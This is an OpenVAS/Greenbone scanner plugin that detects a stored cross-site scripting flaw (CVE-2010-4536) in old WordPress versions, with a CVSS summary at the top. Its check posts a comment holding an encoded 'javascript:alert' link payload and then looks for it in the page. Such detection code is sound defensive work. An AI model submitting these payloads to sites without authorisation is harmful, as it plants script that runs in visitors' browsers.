CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
86.1%
WordPress is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:wordpress:wordpress";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801807");
script_version("2023-07-28T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
script_tag(name:"creation_date", value:"2011-01-12 13:59:47 +0100 (Wed, 12 Jan 2011)");
script_cve_id("CVE-2010-4536");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("WordPress KSES Library Cross Site Scripting Vulnerability");
script_xref(name:"URL", value:"http://wordpress.org/news/2010/12/3-0-4-update/");
script_xref(name:"URL", value:"http://core.trac.wordpress.org/changeset/17172/branches/3.0");
script_xref(name:"URK", value:"https://bugzilla.redhat.com/show_bug.cgi?id=666781");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_wordpress_http_detect.nasl");
script_mandatory_keys("wordpress/http/detected");
script_require_ports("Services/www", 80);
script_tag(name:"impact", value:"Successful exploitation will allow attacker to insert arbitrary HTML and
script code, which will be executed in a user's browser session in the
context of an affected site when the malicious data is being viewed.");
script_tag(name:"affected", value:"WordPress versions prior to 3.0.4");
script_tag(name:"insight", value:"The flaw is caused by input validation errors in the 'KSES HTML/XHTML' filter
(wp-includes/kses.php) when processing user-supplied data, which could be
exploited by attackers to execute arbitrary script code on the user's
browser session in the security context of an affected site.");
script_tag(name:"solution", value:"Update to WordPress version 3.0.4 or later");
script_tag(name:"summary", value:"WordPress is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"http://wordpress.org/download/");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
url = dir + "/wp-comments-post.php";
useragent = http_get_user_agent();
# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
hostname = http_host_name(port:port);
vtstrings = get_vt_strings();
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", hostname, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: 202\r\n\r\n",
"author=" + vtstrings["lowercase"] + "&email=" + vtstrings["lowercase"] + "%40" + vtstrings["lowercase"] + ".com&url=&comment=",
"%3Ca+HREF%3D%22javascript%3Aalert%28%27" + vtstrings["default"] + "%27",
"%29%22%3Eclick+me%3C%2Fa%3E%0D%0A&submit=Post+Comment&",
"comment_post_ID=1&comment_parent=0\r\n");
res = http_keepalive_send_recv(port:port, data:req);
if(res) {
url = dir + "/?p=1";
req = http_get(item:url, port:port);
req = string(chomp(req), "\r\nCookie: wordpress_test_cookie=WP+Cookie",
"+check; comment_author_b462bdda0bcb111e62778a273812ce8d=",
vtstrings["lowercase"], "; comment_author_email_b462bdda0bcb111e62778a2738",
"12ce8d=", vtstrings["lowercase"], "%40", vtstrings["lowercase"], ".com; wp-settings-time-1=1286081",
"909; styleid=2; MANTIS_STRING_COOKIE=3bbb6343d231dee2d97",
"d1f2f7ad0bca9307f8b3658b4a787777e798b51b34d3e; MANTIS_se",
"cure_session=1; a9afec1a17f5a08fb9f206664b598b03=50beab4",
"8bfb69dddb667287804d15af8; 6ffbe6d1f3f091552afc42d593883",
"593=6fdef1a680a30716bca44ff6ba80a1ad; PHPSESSID=4a8b9d2f",
"88d6b4f0fba887b49a18022d\r\n\r\n");
res = http_keepalive_send_recv(port:port, data:req);
if(res =~ "^HTTP/1\.[01] 200" && "javascript:alert('" + vtstrings["default"] + "')">< res) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);